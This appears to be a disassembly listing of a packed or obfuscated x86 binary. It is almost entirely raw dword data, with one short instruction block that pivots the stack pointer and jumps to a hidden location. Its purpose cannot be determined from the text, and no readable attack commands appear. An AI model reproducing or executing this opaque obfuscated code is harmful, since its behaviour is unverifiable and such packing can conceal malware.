		dd 0A5B5E1F1h, 112h, 267F95A3h,	0F4DA936Ch, 0A3A0F34h
		dd 29B58D0Ch, 0BEFFE616h, 157DA516h, 2619AF8h, 0E40B3198h
		dd 0CCF40B5Bh, 0A2F6CF4Ah, 0DB8DE77Ah, 8373F993h, 5DE1529Dh
		dd 1D030AB7h, 88842B15h, 5C3D3BEBh, 0BD261046h,	273FCF25h
		dd 0C4836971h, 4BB5E212h, 5Ch, 277C9589h, 3DA89F6Dh, 383E6442h
		dd 0DDC3828Ch, 0D95AE0A0h, 50D8995h, 50CB4D75h,	50D89EEh
		dd 96BC698h, 0E553D147h, 0C5D1BC89h, 4E8A5A82h,	0F1A6A366h
		dd 0B0E6C65Bh, 1EB04A10h, 0D09991Dh, 39E9D905h,	0D09743Ah
		dd 44AC9405h, 6D75h, 2A15AF00h,	50D0994h, 463CECD4h, 6C267F95h
		dd 34963E93h, 0A0969E0Fh, 0D18BD131h, 95351B78h, 0DC82E07Dh
		dd 0FA5AE15Ah, 657D030Ah, 0B1E7FF8Fh, 104583A9h, 0A6A9F97Ah
		dd 69590938h, 40C735EFh, 0AC9FE901h, 350D10B0h,	0C1095FBAh
		dd 0BCEACA57h, 94C4DFBAh, 4BA131A2h, 0B0D53B3h,	0F5CD135Bh
		dd 690A58FFh, 9C1240B3h, 0D2E20F36h, 4E5308Ah, 64AE7E28h
		dd 9C9F356Eh, 0F3F94F6h, 59383E06h, 0E0791379h,	0D830D086h
		dd 54B22D05h, 53EB540Eh, 130303FEh, 827DFB23h, 15AA9FC2h
		dd 0CD9D1773h, 0CD47AFF5h, 0A176C82Bh, 7D571194h, 0BF6F572Bh
		dd 441E44A2h, 0A1ED51A2h, 85AD1194h, 25E5AB88h,	2B7156C3h
		dd 23C55F2Dh, 94A16ED0h, 46062E11h, 0F2D0AA02h,	0A98944ACh
		dd 0F4D029E3h, 5AF0B4A2h, 94A165D9h, 4D1D2511h,	392EBh
		dd 792E0000h, 1D4BA2FFh, 0F258BE1Bh, 0EBB99504h, 0C395EC6Dh
		dd 0BDEBC455h, 97FDDEBBh, 8DD330A1h, 782E0E8Bh,	5F0163FEh
		dd 895132D9h, 4C181E1h,	83000000h, 0C8704E9h, 3C895C24h
		dd 8116824h, 14890000h,	13366824h, 3C890000h, 35685624h
		dd 5E7E1271h, 0C42CC681h, 895787FBh, 5FFA89F7h,	3C8B545Eh
		dd 4C48324h, 50D08950h,	8E243481h, 8F6FB952h, 77810847h
		dd 0B9528E08h, 34FF586Fh, 0C4815F24h, 4, 5324148Bh, 0C381E389h
		dd 4, 8704C383h, 0E95C241Ch, 0FFF9432Eh, 2604CB50h, 61DAE570h
		dd 0E39D5B8h, 0FFC50306h, 30FB44E0h, 18139675h,	4B774C59h
		dd 507AE706h, 3C19977Eh, 0D4178914h, 27083C44h,	2A7CA3Ah
		dd 629FC87Ch, 82EA7B54h, 34579D0Bh, 5DE7176Dh, 83908E4Eh
		dd 0C05B787Dh, 121FBE7Bh, 0A25AE92Eh, 0B2560221h, 638D8D72h
		dd 66060E3Bh, 0C3EDCA81h, 1B418D89h, 6A0607h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 1C0424h, 51410000h, 0E4C5E6C3h
		dd 92995F41h, 9D2BD5A9h, 6072171h, 60585C7h, 5BAC0607h
		dd 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h
		dd 55450000h, 66EA4EC3h, 8D891195h, 60730F1h, 6985C7h
		dd 607h, 6A0000h, 3E856h, 5E200000h, 74895EC3h,	44810424h
		dd 1D0424h, 56460000h, 5398A4C3h, 0C74A4302h, 8BEACC61h
		dd 7006DBDh, 11B5FF06h,	0FF060723h, 701E195h, 0BE906h
		dd 0CE970000h, 3EC430D0h, 35F8F9CEh, 0FF006A9Eh, 7320195h
		dd 0EBC08B06h, 9DE9837Ah, 5794420Dh, 3C022227h,	85D46F95h
		dd 2109C451h, 599CE115h, 0F938A0C8h, 0C3226E32h, 8A339B9Bh
		dd 733B9E4Eh, 0AD88DD83h, 0FCF5C43Dh, 6DF6DA48h, 0DC73E612h
		dd 0A0C7A35Ah, 0A3565A01h, 0F52EF7E3h, 0C0DA3AAEh, 0FC026216h
		dd 1EE3BC2Fh, 4C4AA6E0h, 0CF2037FBh, 1BC64F92h,	98945D4Eh
		dd 4F17E463h, 93B34475h, 7BF53D24h, 246B9348h, 707F0795h
		dd 0E5076BA4h, 0EB9A9447h, 6C85C404h, 551E92Ch,	784F0000h
		dd 2F05D820h, 0E0FC1179h, 52B3AEB6h, 0E6BE60Eh,	67E3325Ah
		dd 2D35637Ch, 678FD130h, 0B2DA88EAh, 0C911475Fh, 0FD41B256h
		dd 0BD0303F0h, 5AA57FD5h, 303F0E4h, 16CC9CA4h, 7D2B04E5h
		dd 7656CBFBh, 0AE7E3620h, 2B2D7353h, 0AA954DAEh, 50DCB14h
		dd 6E246C54h, 0CBD36BD4h, 7FE1050Dh, 786426D0h,	66D1730Fh
		dd 50D5CD0h, 0A278A090h, 0D5CED51h, 0C585AD05h,	2C72508Dh
		dd 0E8B89B76h, 43A33E38h, 5ABE1B1Dh, 559DC321h,	74785AE3h
		dd 0A6627CDDh, 0D5CE155h, 6991A105h, 0E7B9A7EFh, 9AC3AEA3h
		dd 156DF090h, 0C82A274Fh, 839F729Ah, 0C5223FD5h, 30266C4Ah
		dd 9A9C4C74h, 15E6243Fh, 50DDCA1h, 4EF043E1h, 0E050DDCh
		dd 363FE26h, 4523155Dh,	8BE7777Dh, 7A58B5DDh, 5EF02214h
		dd 0DDC59DDh, 34291905h, 0DA8A8CDAh, 0DC90290Ah, 1367050Dh
		dd 4FAB8699h, 0C4834919h, 4BAFDA82h, 7Ah, 0F043E589h, 50DCB4Eh
		dd 9B66260Eh, 0E863D5BBh, 50DCB54h, 0C84E1271h,	32246849h
		dd 43684C54h, 6FF2FA18h, 0AFDA6B28h, 10EFh, 9BF45500h
		dd 0AE894BCDh, 0FAF23F08h, 90307848h, 1046A2EAh, 0F759BB26h
		dd 0EDB39001h, 138CEE6Bh, 33256D33h, 191F45A6h,	0EBD024BEh
		dd 6078C65Ah, 20BA19BCh, 36A214E7h, 0D2E2050Dh,	169EFAAAh
		dd 0D23A6C44h, 0DB71273Fh, 6C3C6246h, 41A28E64h, 59F32513h
		dd 0DCB58DEh, 0E7FD1805h, 0C70F47B1h, 0CB8C320Dh, 0E4CC050Dh
		dd 95FBD924h, 4AA230A3h, 0F90157B0h, 0DE580E64h, 0A7F83604h
		dd 1CC223BDh, 0C197F14Ch, 45AFA357h, 0DAEF95C2h, 8F3CAFh
		dd 0E5380000h, 0AB7B2D04h, 752F7556h, 0CBDE60D3h, 439E050Dh
		dd 5DF73F61h, 0DCB5CE2h, 74141C05h, 0E9C920F2h,	349AEA3h
		dd 0E9EFE43h, 369DB608h, 7F139EBh, 6D8DCB6h, 0FA177F25h
		dd 95391E99h, 0CDF88B35h, 165E86FAh, 0C50B120h,	0E3B58F0Ah
		dd 0D88EE475h, 1EBEF5Eh, 0E0D4C8BCh, 0DAC82A79h, 4791AFh
		dd 0A2570000h, 0B4251341h, 750A0C5Ah, 0EE80971Dh, 0DCBA90Dh
		dd 9D9E905h, 0D78DDB34h, 8AB42369h, 8F6BD992h, 0A7BAA4D7h
		dd 94FCACBDh, 1046A21Eh, 0CB14A526h, 29E3050Dh,	0FDADF3D0h
		dd 470C1399h, 0CEAFDA6Bh, 1, 0F043E50Ah, 50DCB4Eh, 9B66260Eh
		dd 0EC6DEBBDh, 0CB56C096h, 3B8461E9h, 7750BC79h, 6948C94Fh
		dd 98753127h, 75233CBFh, 5EB4CB4Dh, 950F5156h, 5C0C5AB4h
		dd 0FADAB438h, 0A8BE44ACh, 1C189E99h, 6858050Dh, 20896A20h
		dd 800F3427h, 0FA141AB0h, 66378F65h, 7FDA5C0Ch,	0EE50A367h
		dd 0AE030A41h, 0DB365E86h
		dd 71FF95FBh, 731F16Ch,	0AE885814h, 0A7A8B2Dh, 44AAE03h
		dd 2CAF8712h, 0DE5880D6h, 0C3E8CC14h, 0C3565EB4h, 0B3900B6Eh
		dd 0F33B6BEDh, 0BC814105h, 75E8F0A6h, 0BC9D371Dh, 4E06F0A6h
		dd 0D939989Eh, 40128573h, 0EEB4926Ch, 896A0C86h, 30A7A35h
		dd 0F79D4D75h, 0B5E21C90h, 11817h, 7F95DD00h, 0DA936C26h
		dd 3A0F34F4h, 9BF9500Ah, 430343B5h, 9D1E74E5h, 792F0584h
		dd 2F0CCF31h, 0DA628995h, 0BF974A92h, 94F26FE9h, 8BCF48CEh
		dd 23694921h, 4CAF41DBh, 30AF5EAh, 0F50BB38Ch, 7B4B030Ah
		dd 5CB1BF87h, 0EE5421EEh, 0CEB55F0Fh, 55B5E238h, 55h, 0D917E593h
		dd 8E0990E0h, 0FB7805Ah, 4F050DE6h, 646DA767h, 6EC3653Fh
		dd 9C5C810Dh, 0B07D8FC1h, 135BD888h, 0D5050D68h, 687EC033h
		dd 0F63E050Dh, 9B5CAA56h, 15350274h, 0FB74E22Ah, 50DDF43h
		dd 0C72D35h, 7FF892C1h,	50DDF37h, 0B687EFD7h, 6Dh, 267F95C2h
		dd 37B68D6Ch, 87478FD9h, 96A902FDh, 39090F34h, 327B9D63h
		dd 0A920B622h, 84E27FF9h, 7A1CB6DEh, 0A2D45F9h,	6D3D0503h
		dd 6AECB290h, 0A2E4AF1h, 9F156D03h, 59A1F7CFh, 580E6EC3h
		dd 5CF696DEh, 44B76D36h, 9386992h, 65F46252h, 0B3D1470Dh
		dd 448245AFh, 24FA451Fh, 0C20F3652h, 2D77CF28h,	0F37030Ah
		dd 4B93A35Fh, 267F95F1h, 0C730CA6Ch, 50DCB7Fh, 0D457F73Fh
		dd 0F3F8F02h, 9504F2C2h, 528FD7BDh, 0B7282E74h,	2DE53C0Ch
		dd 142B8105h, 2526F26h,	0A9FA0C07h, 0A38D5024h,	0E7A0AED6h
		dd 28819EE1h, 3313EEBEh, 7B1DB76Dh, 618546F8h, 3D3E0629h
		dd 29618579h, 31590939h, 0FBA1869Bh, 8499497Dh,	85D32DAEh
		dd 0ADABD393h, 9781D72Ch, 340BE1F9h, 1E516BC6h,	0FDFC664h
		dd 668ED432h, 53C58BEBh, 33Ah, 0FF794600h, 1B1D4BA2h, 4F258BEh
		dd 6DEBB995h, 55C395ECh, 0BBBDEBC4h, 0A197FDDEh, 8B8DD330h
		dd 0FE782E0Eh, 0D95F0163h, 77496832h, 0C890000h, 0E1895124h
		dd 4C181h, 0E9810000h, 4, 5C240C87h, 68242C89h,	5571h
		dd 56240C89h, 7C0220BEh, 0CDC68162h, 53A39239h,	0DD89F389h
		dd 8B545E5Bh, 0C481240Ch, 4, 0E9895150h, 8959C889h, 0FF580841h
		dd 83592434h, 34FF04C4h, 0C4835D24h, 3C40E904h,	0F0DFFF9h
		dd 0B8FF2B53h, 60E40D8h, 0E0FFC503h, 142BD729h,	7B38E3F7h
		dd 47F9A24h, 7A27C4E1h,	4263E1DDh, 695FDE6Eh, 6CECB87Bh
		dd 29E301CBh, 4B57BB01h, 41ADCF53h, 4894A7F5h, 7927C931h
		dd 695ECC0h, 169D3E47h,	59B2E749h, 1E1DDFABh, 28F5C993h
		dd 7529EEFCh, 68F063CEh, 52B38C6Fh, 7D135177h, 7A54F3CDh
		dd 4EB0EE6Eh, 2E25E82Bh, 61A812C8h, 486863F2h, 0DFE925Dh
		dd 4AF92010h, 427C761Fh, 5D195066h, 4C2D5BF0h, 532DDED7h
		dd 98C704EBh, 57E913E2h, 70000005h, 2E234B1Dh, 0E17C84CAh
		dd 5489D187h, 0CC1297Fh, 0FC1D6533h, 50046182h,	0AAFED508h
		dd 0E5B38F42h, 3C62409Dh, 5ED97BD4h, 3038AD8h, 0A2B20898h
		dd 0FE181E44h, 0DB5D0363h, 0E54B6ABh, 0B18C5C08h, 65F80054h
		dd 40D1470Dh, 5F3A3C62h, 98251345h, 0CE24B63Eh,	819D7098h
		dd 74568BD3h, 4AA9282Eh, 0D0721006h, 95351B79h,	56A47B71h
		dd 40A3CDB9h, 0E06E2610h, 5909D95Ah, 887AEAC4h,	0C70D57h
		dd 0C51860A8h, 3EB1A7EDh, 50D6D7Dh, 9D84688Ah, 0AFDB11B6h
		dd 977Dh, 4E5FB00h, 0C8FC7A2Ch,	672D0518h, 0CBBA7EF1h
		dd 2949050Dh, 0D29E6CC3h, 0E18E4B20h, 749A8A5h,	0DFB55511h
		dd 0AFDAD378h, 0EF57A07Ah, 0AF050D97h, 178C787h, 0FC000000h
		dd 7A1046A2h, 101C8EE7h, 72EF89D1h, 831E1840h, 57CAF2A6h
		dd 672F297Fh, 0F0D041A7h, 0E152F4AEh, 50DB35Dh,	0F375151Dh
		dd 815B0166h, 0B3AA0CEFh, 0DAEA050Dh, 53AD2C0Ah, 0A6861305h
		dd 63DC06F0h, 50DB3DBh,	22B0AB9Bh, 95CF23CAh, 8A90B5B2h
		dd 0DE7E342h, 8EE4677Dh, 954890D8h, 358FD7BDh, 97D517E5h
		dd 54E0EB5Ch, 184CA9B4h, 393EF42h, 0C9388551h, 82428ADAh
		dd 89DF35A4h, 664E148Fh, 33197ED3h, 7CC181C5h, 302D3563h
		dd 488A8CD2h, 4DCB91F1h, 98F44919h, 0ACA048CEh,	0DC5FF148h
		dd 50D7D5Ah, 907A2A1Ah,	0AFDB1FC3h, 14AA952Fh, 54050D67h
		dd 8CA3BC6Ch, 0A1000000h, 791341A2h, 6C3195F3h,	15B597AEh
		dd 868C113h, 6141D046h,	0CE53F33Bh, 23BEB8EEh, 38999FC1h
		dd 0B8C8ADCh, 0E140654Fh, 79BB815Bh, 0DDDA20FFh, 68348A89h
		dd 4C74050Dh, 9A74789Ch, 4E83EBB9h, 0A031276Dh,	0D71B1D43h
		dd 4116F9F3h, 0E8AFDB0Ch, 78h, 2C04E56Ch, 7A57AA7Ah, 4DA9282Eh
		dd 0A3801107h, 0D78D7BFDh, 4A22BE98h, 7E20001Dh, 1E96EAF8h
		dd 90647E99h, 0AFB79DFEh, 683E14F5h, 5CB260EEh,	0EA866557h
		dd 0A278E2A2h, 0A5261046h, 50DCB14h, 0A99729E3h, 2DFFED16h
		dd 9D211277h, 0DD050D97h, 0DBD135D5h, 0DAC70F74h, 706DD3AFh
		dd 0E2C7056Fh, 0D88CE578h, 0E3708h, 7B1D0000h, 0DEA46F8h
		dd 5A0E6705h, 14CE9EA6h, 7E1442A2h, 4DE82E3h, 0DCB833Bh
		dd 53F3C305h, 386E44D5h, 6448503Eh, 94FCAA8Ah, 0A98E184Eh
		dd 8E1BBE3h, 0B40AF529h, 0F4050DCBh, 149284CCh,	0CCE2292Bh
		dd 313F67A3h, 12DB9342h, 0FB81411Bh, 3432D378h,	9AF4550Fh
		dd 4137BC0Ah, 0F43C4803h, 9E98A854h, 157D2303h,	1E44A2BFh
		dd 0A1BC6C18h, 8AE8941h, 48030A8Dh, 5266F678h, 6D47D62Fh
		dd 0B6926F25h, 6E3E76E0h, 7AD1788h, 0A672030Ah,	0CCBC4958h
		dd 0E5A5C49Eh, 13730BE1h, 63DA5CDFh, 0AA9A030Ah, 0EFC71A62h
		dd 0C422BFB9h, 5B3F989Eh, 2659B951h, 0E569EC4h,	0E212DFA4h
		dd 125A6B5h, 0E8820000h, 0A57B70Fh, 1FCFF703h, 5617E565h
		dd 70FEDBC3h, 0A9BF9535h, 43BC560Ch, 50D53FBh, 0B3968BBBh
		dd 94673DEDh, 0F346CD3h, 84150333h, 0CF22F8AEh,	0F2B2A4F4h
		dd 0CF273A52h, 24029F99h, 7B1FF87Eh, 0D3B99971h, 0F862218Bh
		dd 4E29B5E1h, 2F000000h, 6D277C95h, 0DCBDC92h, 0F7401A05h
		dd 50DCB4Fh, 0FB67270Fh, 6CD24DCBh, 4D050DCBh, 0A8292F75h
		dd 54100648h, 45B399F9h, 91169EF8h, 62258FEBh, 999A3067h
		dd 50DCBD5h, 0DC46CB35h, 0D3F47CEBh, 3F18F1ABh,	4051B969h
		dd 87h,	267F95F8h, 963E936Ch, 969E0F34h, 5ED131A0h, 84EC147Ah
		dd 35236949h, 0AFA03BAh, 0E6CE2403h, 683E14h, 0E5AB78Ah
		dd 868C5C08h, 0FE791340h, 938BB45h, 0E8B8DB5h, 65F46228h
		dd 42DF590Fh, 2C43260h,	57B9FEF6h, 0A0A66943h, 0ED8759F3h
		dd 4B8AC12h, 0E802EC05h, 9A2E9DB1h, 0D023F921h,	504B56Eh
		dd 0E546062Eh, 0F36F72Ch, 5B0D67FAh, 0F400B681h, 7040030Ah
		dd 4E042CD0h, 0F4F34BB4h, 83B3030Ah, 95318BC3h,	936C267Fh
		dd 0F3F8956h, 39989EA6h, 0F66B73D9h, 56021F90h,	0FA7CA4E0h
		dd 1F6B3801h, 5B513519h, 0E4D376C4h, 234A3056h,	0D2B89E63h
		dd 297F578Ah, 9D55B22Fh, 0EF2D1CA2h, 2C545C16h,	0E9BF9B76h
		dd 49513F39h, 0E5AB8B63h, 3C62409Dh, 18A33Ah, 73F90000h
		dd 0C37F39AAh, 2AD0700Fh, 6542DF79h, 354740F9h,	38602CDFh
		dd 4BA2F268h, 58BE1B1Dh, 0B99504F2h, 95EC6DEBh,	0EBC455C3h
		dd 0FDDEBBBDh, 0D330A197h, 2E0E8B8Dh, 163FE78h,	5032D95Fh
		dd 405E089h, 57000000h,	4BFh, 5FF82900h, 5C240487h, 81E28952h
		dd 4C2h, 4EA8300h, 5C241487h, 53240489h
		dd 0C381E389h, 4, 8704EB83h, 895C241Ch,	5155241Ch, 6910D1B9h
		dd 0C1814963h, 4FC11B8h, 635AF181h, 0CD896E6Bh,	5DE88959h
		dd 241C8B54h, 4C481h, 56520000h, 0F289C689h, 853895Eh
		dd 241C8B5Ah, 81E78957h, 4C7h, 4C78300h, 5C243C87h, 5724048Bh
		dd 0C781E789h, 4, 8704C783h, 0E95C243Ch, 0FFF93652h, 92B8980Dh
		dd 3060E46h, 0DAE0FFC5h, 7640F64Bh, 5F2EF7F1h, 0A46CB884h
		dd 0B8442A52h, 0EB50641Dh, 1BF36C04h, 61DE94Ah,	9CF30000h
		dd 4BA9A4CCh, 460FD05h,	0FED70A52h, 0B28F42AAh,	37F9EE6h
		dd 89D187E0h, 0C32B7D54h, 1E662C0Eh, 55BDE3C3h,	59DD5EFAh
		dd 1903038Ch, 43E53389h, 0DCB4EF0h, 77CF2805h, 37050DCBh
		dd 8343730Fh, 4F258BEh,	84ECB895h, 338B740Eh, 73050DCBh
		dd 58BE8343h, 0BD9504F2h, 367E2402h, 37A7BD9Ch,	7C3FE46Ah
		dd 0EBBBE368h, 1476CB0Dh, 60D6BA9Bh, 4A7AFC24h,	69AD879Ah
		dd 0DAE288Eh, 792F0905h, 8BC67B85h, 96A0C94Bh, 8D30266Eh
		dd 0EBCBA309h, 0A6805DA5h, 962D9162h, 456D050Dh, 3E18F51Dh
		dd 1073EE68h, 0A0B8D640h, 0D750B24Ch, 0F9ADABFDh, 5EB4A9B1h
		dd 2C8D0E08h, 0DB050D96h, 0FE235BFh, 2FA56533h,	0AFDAC868h
		dd 782Fh, 4E53500h, 0CAFA7C2Ah,	792F071Ah, 0CBB87CFFh
		dd 2F4B050Dh, 6B0542C5h, 18CAFDAh, 48000000h, 0EDC546A2h
		dd 0CB74CA35h, 0C34050Dh, 781252C4h, 0DCB47FFh,	0F73F0705h
		dd 1A7AD701h, 0CA9ACA4Ch, 0CD4B1D77h, 3721774Ch, 0D6A80C86h
		dd 0CE44ACF2h, 0B9951073h, 0F1396DEBh, 0B151071Ch, 0A19256ACh
		dd 50DCB1Dh, 772D555Dh,	0FE79B99Ah, 50DCB38h, 0D004878h
		dd 0ACA46430h, 1341A2D6h, 0D284E079h, 4FA53432h, 0A5821F19h
		dd 0B99879FFh, 0F97F2502h, 9385CDh, 0FE555A52h,	0BDEBC75Ah
		dd 6B03E9EDh, 0A9805A0Eh, 5511074Dh, 79C75DB5h,	0A288E65h
		dd 40B36992h, 50D3BFEh,	4BD676BEh, 0C096F06Bh, 60D61E56h
		dd 9B231CB6h, 0DB050D3Bh, 4C1276EBh, 37A7819Ch,	0C56901A0h
		dd 0F066AE91h, 0B9A01408h, 0AFDB20EAh, 3D817214h, 7D050D66h
		dd 0D48A9535h, 6E000000h, 491F75D4h, 0D6674CAh,	0F9D93405h
		dd 0B9E1A593h, 41A273E9h, 58B42513h, 0AC89080Eh, 81E37EF8h
		dd 4BAF59DFh, 57ED5C61h, 40B69CFAh, 0AC004404h,	85EB495h
		dd 0EFCB460Eh, 57F7BFB9h, 0E1BBE9CAh, 0E21EE14Fh, 0A4278F87h
		dd 0D680FB7h, 85CB2E05h, 0C109D9E9h, 0C096F64Bh, 0FB441E56h
		dd 50D6843h, 8E933303h,	0A771E7ADh, 31276D4Ah, 6B48D575h
		dd 0CBCF3325h, 0C297EE1h, 7790AFDBh, 74000000h,	52DD61D2h
		dd 959D050Dh, 41A20FF5h, 84E07913h, 0A53432D2h,	2AEECE49h
		dd 0DCB75C9h, 0C50D3505h, 6DEB1353h, 52C492ECh,	0B8BEEAC7h
		dd 6B31110Ch, 76C82BEDh, 36050DCBh, 0B83C440Eh,	268EE4F3h
		dd 73D93E13h, 276D4ED3h, 0A2F745DFh, 19DE67C8h,	0A22FD575h
		dd 0A5261046h, 50DCB14h, 8F89DF35h, 0F4623012h,	0E9CE2632h
		dd 0F55C50A2h, 0AFDA6B8Eh, 115h, 42A2D300h, 13F07E14h
		dd 0A9AFEAB6h, 0F762C484h, 214FC99Fh, 8E7CD3D9h, 0D0FD5428h
		dd 2D735672h, 6ACC2FE5h, 2A050DE4h, 99F74A1Ah, 0DF3415CFh
		dd 7C78F89h, 762F25CFh,	0DFCE63DCh, 466E0F34h, 157AD8Ch
		dd 1C7AE741h, 95DD83E3h, 510762FFh, 97FFAFE7h, 83E31C7Ah
		dd 28A395DDh, 30AFC94h,	0ED7D774Bh, 0AAA7CF95h,	8110064Ch
		dd 9C7DFBA1h, 42F44783h, 2030AFCh, 8D0C0A32h, 1E75E3B1h
		dd 100BB004h, 65D95AFCh, 25030AFCh, 0A3094D1Dh,	0EFA5EBCBh
		dd 0F2643212h, 10FA12B2h, 0B5E1A233h, 624B1BFh,	51C78DEAh
		dd 821A2B15h, 0BFDCFAFFh, 6E96B7A9h, 16BA1BEh, 0AA870000h
		dd 571F194Fh, 7F95CDB7h, 0DA936C26h, 3A0F34F4h,	0DE279F98h
		dd 5F67030Ah, 849C7D17h, 0A53432D2h, 62FF074Dh,	79D85E04h
		dd 52C53319h, 0A31BE4BEh, 0E3030ADEh, 0DE40F641h, 3000030Ah
		dd 0B83C5808h, 729AC026h, 0E180ABE8h, 0AF9D37B5h, 3BD1DE48h
		dd 0AF17044Ch, 0EF030A62h, 773807C7h, 3C000000h, 4EF043E5h
		dd 6F050DCBh, 9AAA4612h, 0C00140CAh, 0D0430969h, 50DCB6Eh
		dd 0CB972F08h, 0EFD7050Dh, 21FB2313h, 0DCB90D6h, 9AFB5605h
		dd 440440B6h, 0CF2A898h, 8FA81AD5h, 6E0A050h, 0DE63185h
		dd 0EB8D4705h, 0DE6B608h, 1ECEF605h, 0C25FF2FAh, 145B3E1h
		dd 0D99ECB41h, 0E67E3003h, 969E050Dh, 1B75D44Eh, 61D7B998h
		dd 460FD25h, 0E0A0E452h, 94E1h,	7F951B00h, 48CE92F3h, 3D3ED41Ch
		dd 0F34966Ch, 0A072E4CCh, 35236949h, 731D8F71h,	9A77A9E4h
		dd 491F77CAh, 3FD16B21h, 0A3E7A3Ch, 90A3A03h, 30A3EB5h
		dd 40B1A987h, 0B34FF920h, 292F7556h, 8895357Dh,	0F972E4AAh
		dd 30AD742h, 90A70D65h,	0E085CB9h, 0A5EBCB46h, 0CE53F3B3h
		dd 4D1B77E8h, 0B4A2F4D0h, 9AA0C8F0h, 9B24D14Ch,	0AD93E8F9h
		dd 0BAA43B9Bh, 0B331000h, 0EEACE651h, 545C0938h, 491F77E2h
		dd 5359A1CFh, 471D468Ch, 36A9BEF4h, 1E664E0Fh, 267F95A4h
		dd 0E1B78D6Ch, 0D56F3F77h, 3F82286Ah, 32E8D80Fh, 0A593C5DFh
		dd 42146CE1h, 0DD35A482h, 94F26F77h, 8D748CEh, 0B9CF284Dh
		dd 0E940D7DDh, 0C25FD98Fh, 242B4E2h, 0DF370ADAh, 45AB6189h
		dd 350AD5A3h, 0F74A1A62h, 12D55B9Fh, 0EA769BE7h, 0DB87EFDh
		dd 0BA994F16h, 0BFB81AD6h, 4F160D07h, 0F377F47h, 0E5AB8809h
		dd 4DB31573h, 83955100h, 59DD5E9Ch, 194F16B1h, 2521E129h
		dd 71273FCFh, 0C89EF469h, 0D2F4Eh, 79550000h, 843A05DFh
		dd 0C4050DCBh, 0A2B62CFCh, 0BE1B1D4Bh, 9504F258h, 0EC6DEBB9h
		dd 0C455C395h, 0DEBBBDEBh, 30A197FDh, 0E8B8DD3h, 63FE782Eh
		dd 32D95F01h, 5E08950h,	4, 5004E883h, 42474FFh,	24048F58h
		dd 0E789575Ch, 4C781h, 0EF810000h, 4, 5C243C87h, 68241C89h
		dd 6A07h, 68243C89h, 60E4751h, 83241C8Bh, 0D66804C4h, 89000021h
		dd 4812424h, 424h, 0EC835F00h, 240C8904h, 8B9h,	89F90100h
		dd 34FF5919h, 0C4815F24h, 4
		db 8Bh,	1Ch, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_54311E
; ---------------------------------------------------------------------------
		dd 61953608h, 0B8CC68D2h, 60E4CE7h, 0E0FFC503h,	3C946C5Fh
		dd 16E50AFCh, 1ED4379Ah, 301E9C5Bh, 78DC610Bh, 3C4D116Bh
		dd 70DE861Ch, 48929598h, 5D45A5Bh, 7208DBB1h, 284313BFh
		dd 46AF0513h, 68ECF062h, 12AB021Dh, 5234D7A7h, 4EE48D8Dh
		dd 6A060Eh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h
		dd 57470000h, 0D7B8ECC3h, 0E9783D39h, 0Bh, 41504E64h, 0CA01C13h
		dd 893D0826h, 71B418Dh,	0B99D8906h, 89060707h, 701D58Dh
		dd 585C706h, 18060706h,	6A000065h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 16042444h, 42000000h, 0AE64C352h
		dd 45B58BFBh, 0C706072Bh, 7006985h, 6, 57006A00h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1C04h, 0C3574700h
		dd 4FE3BBAFh, 989116E1h, 0DE8B6h, 0B4C00000h, 60E70F41h
		dd 16F486C6h, 5107E62Eh, 1C499D8Bh, 5B5F0607h, 0C810Fh
		dd 800F0000h, 6, 820Fh,	0B5FF0000h, 6072B21h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 19h, 36C35141h, 0DAAED532h
		dd 0E195FFDCh, 6A060701h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1D042444h, 46000000h, 67C0C356h, 0B0D3C5Ah
		dd 0B32479F5h, 1981BD09h, 6A0607h, 320195FFh, 0C08B0607h
		dd 0F19D7DEBh, 0A40B5632h, 7A6346E4h, 5E53D14h,	752FCD7h
		dd 0F57198E2h, 0C3191027h, 0FD4A9158h, 0AC862EF6h, 0A09E05D2h
		dd 9374723Eh, 900F3417h, 0D79F70A0h, 0FBFEB5D6h, 57FDC5E9h
		dd 0CF97CD96h, 0E379EAA3h, 529F4505h, 3554C198h, 59662652h
		dd 551BC3A2h, 42D5BECCh, 451DC80Ch, 48066027h, 0EC7BC9B4h
		dd 375C3058h, 0A186EDCBh, 13ED4646h, 4EAFC768h,	0AD3BE069h
		dd 0BD22589Eh, 0EBAA4B25h, 0DFB8BF04h, 5E3E96Ch, 0FCD30000h
		dd 0AB8944ACh, 64409DE5h, 0DE372A32h, 92EF628Ah, 0E39FBEC6h
		dd 0A9B1E7C0h, 0E30B5DB4h, 3E460C6Eh, 759DC323h, 793D3EDAh
		dd 39030384h, 44A2D3A9h, 0B1A7E9CBh, 0CE4BCDF5h, 825FA7EDh
		dd 0D624FEA4h, 67FED42Bh, 49ED4E91h, 9050D86h, 0D751F139h
		dd 79E06C4Ah, 2DFC2C04h, 0FB1D1B43h, 5960D621h,	1020050Dh
		dd 0C197ED70h, 8ECE657h, 224A1076h, 5B7D8268h, 0B13B9224h
		dd 64320C11h, 0BFE5C11Ch, 792F04E5h, 7D5AB7FFh,	0A5652117h
		dd 0ADF3D643h, 0EFC5DDABh, 0BDE3C158h, 0B53610EDh, 3D14095Fh
		dd 41DB236Bh, 0CAEA4CAFh, 9AAA050Dh, 491F77CAh,	0F45ABE93h
		dd 0E059D254h, 17050DCAh, 2166E9C3h, 0ADAFDA6Ch, 3E96280Bh
		dd 28D6FAF2h, 28445BB1h, 0FDF07D1h, 7530h, 17E53400h, 2D7E75ABh
		dd 0EF7212F4h, 5EE05397h, 1E050D51h, 0AE68EE16h, 282E7253h
		dd 0F54FAC7Ch, 6050D51h, 0C821F8FCh, 62E8B8EEh,	0AFDB0525h
		dd 1ECh, 46A26800h, 75BDEBC5h, 0AA321683h, 0C6A314DAh
		dd 0C3357D93h, 2D2B7156h, 15E6B880h, 50D1AA1h, 0D531D1E1h
		dd 63350FDFh, 922417A9h, 0D2050D1Ah, 372A22E2h,	39D389DFh
		dd 0D1A783Eh, 58083805h, 41A2BA30h, 5CB42513h, 0CF8B0C0Ah
		dd 6C3815E5h, 0BF48E04h, 50DCBB3h, 3E03C3F3h, 158472D8h
